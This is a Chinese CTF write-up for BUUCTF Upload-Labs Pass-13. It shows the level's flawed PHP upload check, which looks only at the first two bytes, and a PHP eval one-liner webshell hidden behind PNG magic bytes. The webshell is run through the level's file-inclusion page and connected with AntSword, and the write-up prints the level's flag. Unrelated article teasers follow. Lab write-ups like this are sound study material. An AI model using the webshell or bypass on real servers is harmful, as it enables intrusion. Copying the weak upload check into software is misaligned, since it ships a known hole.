【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

news2025/4/15 1:47:51

Upload-Labs-Linux

1
点击部署靶机。

简介

upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。

注意

1.每一关没有固定的通关方法,大家不要自限思维!

2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路。

3.实在没有思路时,可以点击查看提示。

4.如果黑盒情况下,实在做不出,可以点击查看源码。

后续

如在渗透测试实战中遇到新的上传漏洞类型,会更新到upload-labs中。当然如果你也希望参加到这个工作当中,欢迎pull requests给我!

项目地址:https://github.com/c0ny1/upload-labs

任务

上传图片马到服务器。

注意:

1.保证上传后的图片马中仍然包含完整的一句话或webshell代码。

2.使用文件包含漏洞能运行图片马中的恶意代码。

3.图片马要.jpg,.png,.gif三种后缀都上传成功才算过关!

提示

本pass检查图标内容开头2个字节!

代码

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}


解法

传个一句话木马。

<?php @eval($_POST['a']); ?>

提示:文件未知,上传失败!

将后缀改为 .png,再上传。

winhex 创建文件,开头写入 PNG 图像文件签名:

89 50 4E 47 0D 0A 1A 0A

后面接一句话木马。

<?php @eval($_POST['a']); ?>

保存为 .png。上传成功。

右键点击图片,复制图像链接。

http://55f3afd7-3ee6-41d9-8a94-0a4db842f8cf.node5.buuoj.cn:81/upload/8420240430065605.png

访问:

http://55f3afd7-3ee6-41d9-8a94-0a4db842f8cf.node5.buuoj.cn:81/include.php
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?>

通过蚁剑连接:

http://55f3afd7-3ee6-41d9-8a94-0a4db842f8cf.node5.buuoj.cn:81/include.php?file=upload/8420240430065605.png

访问根目录。

找到 flag。

Flag

flag{e5c6ec40-25ad-4ef3-bd64-22ae1e9cd061}

声明

本博客上发布的所有关于网络攻防技术的文章,仅用于教育和研究目的。所有涉及到的实验操作都在虚拟机或者专门设计的靶机上进行,并且严格遵守了相关法律法规

博主坚决反对任何形式的非法黑客行为,包括但不限于未经授权的访问、攻击或破坏他人的计算机系统。博主强烈建议每位读者在学习网络攻防技术时,必须遵守法律法规不得用于任何非法目的。对于因使用这些技术而导致的任何后果,博主不承担任何责任

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2129008.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Postman做接口测试时一些实用的操作

Postman 之前是作为Chrome 的一个插件&#xff0c;现在要下载应用才能使用。 以下是postman 的界面&#xff1a; 各个功能区的使用如下&#xff1a; 快捷区&#xff1a; 快捷区提供常用的操作入口&#xff0c;包括运行收藏夹的一组测试数据&#xff0c;导入别人共享的收藏夹测…

论文解读:利用大模型进行基于上下文的OCR校正

论文地址&#xff1a;https://arxiv.org/pdf/2408.17428 背景概述 研究问题&#xff1a;这篇文章要解决的问题是如何利用预训练的语言模型&#xff08;LMs&#xff09;来改进光学字符识别&#xff08;OCR&#xff09;的质量&#xff0c;特别是针对报纸和期刊等复杂布局的文档。…

GDPU Java Web 天码行空1

目的&#xff1a; 1、 掌握Java Web编程环境的配置 2、 创建简单的Web工程&#xff0c;并了解Web工程下各目录的作用 3、 掌握部署、运行Web工程的流程 实验过程&#xff1a; 一、完成如下要求。 安装并设置JDK 1.8、Tomcat 9.0&#xff08;tomcat和jdk版本匹配请看下图&am…

初创企业的信息架构蓝图:从构想到实施的全面攻略

初创企业的信息架构蓝图&#xff1a;从构想到实施的全面攻略 在数字化转型的大趋势下&#xff0c;初创企业面临着巨大的机遇和挑战。如何快速搭建稳健的信息架构蓝图&#xff0c;以支持业务增长、提高运营效率并确保数据安全&#xff0c;成为初创企业成功的关键因素。《信息架…

动手学习RAG:迟交互模型colbert微调实践 bge-m3

动手学习RAG: 向量模型动手学习RAG: BGE向量模型微调实践]()动手学习RAG: BCEmbedding 向量模型 微调实践]()BCE ranking 微调实践]()GTE向量与排序模型 微调实践]()模型微调中的模型序列长度]()相似度与温度系数 本文我们来进行ColBERT模型的实践&#xff0c;按惯例&#xff…

5G毫米波阵列天线仿真——CDF计算(手动AC远场)

之前写过两个关于阵列天线获取CDF的方法&#xff0c;一个通过Realized Gain&#xff0c;一个通过Power Flow&#xff0c; 三个案例中都是3D中直接波束扫描&#xff0c;并没有展示场路结合的情况。这期我们用Power Flow的方法&#xff0c;手动合并AC任务的波束计算CDF。 还是用…

[Power save]wifi省电模式

管理帧 beacon DTIM AP的beacon中携带TIM&#xff08;Traffic indication Map&#xff09;字段&#xff0c;里面包含DTIM Count&#xff0c;DTIM Period&#xff0c;Bitmap Control和Part Virt Bmap字段 DTIM Period&#xff1a;AP缓存数据的能力&#xff0c;处于PS状态下的…

B2B销售:成功所需的工具

谈到B2B销售&#xff0c;拥有合适的工具可以带来巨大的差异。合适的工具可以提高效率和效能&#xff0c;简化操作&#xff0c;节省成本并提供竞争优势。 探索优化B2B销售栈的重要组成部分时&#xff0c;我们可以发现&#xff0c;正确的技术能让您的业务在未来取得成功。 电子…

前端 + 接口请求实现 vue 动态路由

前端 接口请求实现 vue 动态路由 在 Vue 应用中&#xff0c;通过前端结合后端接口请求来实现动态路由是一种常见且有效的权限控制方案。这种方法允许前端根据用户的角色和权限&#xff0c;动态生成和加载路由&#xff0c;而不是在应用启动时就固定所有的路由配置。 实现原理…

C语言-综合案例:通讯录

传送门&#xff1a;C语言-第九章-加餐&#xff1a;文件位置指示器与二进制读写 目录 第一节&#xff1a;思路整理 第二节&#xff1a;代码编写 2-1.通讯录初始化 2-2.功能选择 2-3.增加 和 扩容 2-4.查看 2-5.查找 2-6.删除 2-7.修改 2-8.退出 第三节&#xff1a;测试 下期…

基于SpringBoot+Vue的超市外卖管理系统

作者&#xff1a;计算机学姐 开发技术&#xff1a;SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等&#xff0c;“文末源码”。 专栏推荐&#xff1a;前后端分离项目源码、SpringBoot项目源码、SSM项目源码 系统展示 【2025最新】基于JavaSpringBootVueMySQL的…

OceanBase 企业版OMS 4.2.3的使用

OceanBase 企业版OMS 4.2.3的使用 一、界面说明 1.1 概览 1.2 数据迁移 1.3 数据同步 1.4 数据源管理 1.5 运维监控 1.6 系统管理 二、功能说明 注意&#xff1a; 在数据迁移与数据同步的功能中&#xff0c;如果涉及到增量操作&#xff1a; 1.需要使用sys租户的用…

828华为云征文 | 华为云Flexusx与Docker技术融合,打造个性化WizNote服务

前言 华为云Flexusx携手Docker技术&#xff0c;创新融合打造高效个性化WizNote服务。Flexusx的柔性算力与Docker的容器化优势相结合&#xff0c;实现资源灵活配置与性能优化&#xff0c;助力企业轻松构建稳定、高效的云端笔记平台。828华为云企业上云节特惠来袭&#xff0c;Fle…

【无标题】Efinity 0基础进行流水灯项目撰写(FPGA)

文章目录 前言一、定义概念 缩写1. 二、性质1.2. 三、使用步骤编译常见错误1. 没加分号2. end 写多了 编译成功的标志总结参考文献 前言 数电课设 使用 FPGAIDE 使用 Efinity 一、定义概念 缩写 1. 二、性质 1. 2. 三、使用步骤 python代码块matlab代码块c代码块编译…

你真的了解Canvas吗--解密二【ZRender篇】

书接上文你真的了解Canvas吗--解密一【ZRender篇】 目录 入口 挖掘 继承 _init step-1&#xff1a;取所有key值 ​​​​​​​ step-2&#xff1a;定义构造函数BezierCurveShape …

PMP--一模--解题--1-10

文章目录 14.敏捷--方法--替代敏捷方法--看板1、 [单选] 根据项目的特点&#xff0c;项目经理建议选择一种敏捷方法&#xff0c;该方法限制团队成员在任何给定时间执行的任务数。此方法还允许团队提高工作过程中问题和瓶颈的可见性。项目经理建议采用以下哪种方法&#xff1f; …

金属铬厂商分析:前十强厂商占有大约64.0%的市场份额

金属铬是一种灰色、有光泽、硬而脆的过渡金属。铬是不锈钢的主要添加剂&#xff0c;可增加耐腐蚀性。 据QYResearch调研团队最新报告“全球金属铬市场报告2024-2030”显示&#xff0c;预计2030年全球金属铬市场规模将达到11.8亿美元&#xff0c;未来几年年复合增长率CAGR为6.5%…

【数据结构与算法】受限线性表 --- 栈

【数据结构与算法】受限线性表 — 栈 文章目录 【数据结构与算法】受限线性表 --- 栈前言一、栈的基本概念二、栈的顺序存储三、栈的分文件编写四、栈的链式存储五、栈的应用案例-就近分配六、 中缀表达式转后缀表达式以及基于后缀表达式运算总结 前言 本篇文章就栈的基本概念…

医院HISPACS存储备份 要求全周期保存

内蒙古赤峰医院 HIS PACS数据备份 &#xff0c;质量好可以满足15-30年存储的空间需求&#xff0c;用着放心